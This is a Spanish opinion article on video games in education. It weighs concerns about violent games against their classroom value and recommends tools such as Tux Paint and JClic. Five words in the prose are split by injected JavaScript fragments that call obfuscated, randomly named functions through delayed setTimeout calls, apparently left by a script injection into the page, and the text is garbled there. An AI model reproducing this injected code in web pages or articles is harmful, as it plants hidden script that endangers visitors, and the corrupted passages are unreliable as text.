EDUCACIÓN Y VIDEOJUEGOS

Autor: Víctor-Manuel Chacón Barroso

          Desde que se comenzaron a vender en la década de los años setenta los videojuegos para televisor, estos se han convertido progresivamente en un medio de ocio frecuente entre los más pequeños, aunque muchos padres han manifestado su preocupación por los posibles efectos negativos que pudieran ocasionar.


          La mayoría de videojuegos preferidos por los niños son violentos y la venta de títulos de este tipo sigue en aumento. Los considerados como extremadamente violentos han aumentado sus ventas en más de un 30% en los últimos años. Los juegos menos aceptados son, por desgracia, los que contienen aspectos educativos.


           En general, aunque estos juegos no han sido la causa directa de psicopatologías severas, los estudios realizados hasta hoy estiman una relación entre los videojuegos violentos y los comportamientos agresivos. (La misma relación ha sido notada con los programas de televisión con alto contenido de violencia).


          Existen dos posiciones: algunos psicólogos consideran que estos juegos ofrecen ventajas y que muchos niños pueden desarrollar sentimientos de eficiencia, seguridad y autoestima; sin embargo, otros autores sostienen que únicamente conducen a conductas agresivas.


          En mi opinión, para poder hacer un uso educativo de estas tecnologías, se deben tener en cuenta varias cuestiones a este respecto:


-          El tipo de videojuego: hay que tratar de prescindir de juegos violentos y vacíos de contenido


-          El uso que se haga del videojuego: el videojuego no debe aburrir al alumno, pero tampoco el objetivo debe ser nunca la diversión sin más; hay que tener claro qué se puede trabajar con cada tipo de juego.


-          Tiempo de uso del videojuego: prolongar en exceso las actividades con videojuegos no es recomendable; no debemos olvidar que solo es un recurso didáctico de entre una multitud.


          Con respecto a los tipos de videojuegos que pueden resultar válidos para una práctica educativa podemos mencionar algunos a modo orientativo, puesto que existen una numerosa variedad de ellos. Empezandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando por los más simples nos encontramos:


 


- JUEGOS EDUCATIVOS CON CARÁCTER EDUCATIVO Y LÚDICO POR PARTES IGUALES:


-          Dibujos para colorear y pintar: juego ideal para aquellos que se introducen en el arte de pintar. Es una aplicación que permite colorear un dibujo en blanco y negro con unos colores determinados, pudiendo rectificar tantas veces como se quiera e imprimir el resultado desde un botón. Por ejemplo, TUX PAINT de Linex.


-          El juego del memoria en línea: consiste en encontrar la pareja de los dibujos escondidos boca abajo. Es ideal para desarrollar la memoria visual, ya que hay que recordar dónde se encontraba la pareja de cada dibujo. Por ejemplo, J CLIC de Linex.


-           Juegos didácticos de lógica: son juegos donde se trabaja con la capacidad de observación y percepción de formas. Cada partida muestra las series al azar, alargandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando así la vida del juego. También los encontramos en la aplicación de Linex J CLIC.


 -          Juegos para desarrollar la memoria: son juegos para desarrollar la memoria fotográfica. Son ideales para niños y jóvenes, trabajandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando así la memorización.


 


          Para continuar, podemos decir que, teniendo en cuenta las cuestiones mencionadas anteriormente, los videojuegos, en general, pueden mejoran los reflejos, la psicomotricidad, la iniciativa y autonomía de los jugadores y, además, también pueden ser utilizados en el ámbito educativo con una funcionalidad didáctica, para contribuir al logro de determinados objetivos educativos. Vamos pues a enumerar los principales tipos de videojuegos en 3D, ya que son los que más se utilizan en la actualidad y, por lo tanto, los que más les llama la atención al alumnado, considerandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando también algunos de sus riesgos más específicos.